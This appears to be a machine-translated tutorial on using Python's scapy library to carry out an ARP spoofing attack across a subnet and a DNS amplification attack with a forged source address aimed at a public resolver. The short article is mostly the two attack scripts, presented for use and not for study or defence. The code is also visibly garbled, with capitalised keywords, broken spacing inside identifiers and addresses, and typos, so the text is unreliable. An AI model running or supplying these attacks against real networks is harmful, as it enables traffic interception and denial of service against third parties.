This article describes how to use scapy to simulate packets in Python to implement arp attacks and dns amplification attacks. This article focuses on the use of scapy, for more information, see scapy, a powerful interactive data packet processing program written in python. scapy can be used to send, sniff, parse, and forge network data packets, network attacks and tests are often used.
Here we will use python scapy directly.
This is an arp attack. you can launch an arp attack.
The code is as follows:
#! /Usr/bin/python
"""
ARP attack
"""
Import sys, OS
From scapy. all import *
If OS. geteuid ()! = 0:
Print "This program must be run as root. Aborting ."
Sys. exit ()
If len (sys. argv) <2:
Print "Pkease Use % s x. x. x" % (sys. argv [0])
Exit ()
AttackIP = sys. argv [1] + ". 0/24"
Srploop (Ether (dst = "FF: FF")/ARP (pdst = attackIP, psrc = "192.168.1.100", hwsrc = "00: 66: 66: 66: 66: 66 "), timeout = 2)
Dns Amplification Attacks
The code is as follows:
# Coding: UTF-8
From scapy import *
From scapy. all import *
A = IP (dst = '8. 8.8.8 ', src = '192. 168.1.200') #192.168.1.200 is a forged source ip address.
B = UDP (dport = 53)
C = DNS (id = 1, qr = 0, opcode = 0, tc = 0, rd = 1, qdcount = 1, ancount = 0, nscount = 0, arcount = 0)
C. qd = DNSQR (qname = 'www .qq.com ', qtype = 1, qclass = 1)
P = a/B/c
Send (p)
~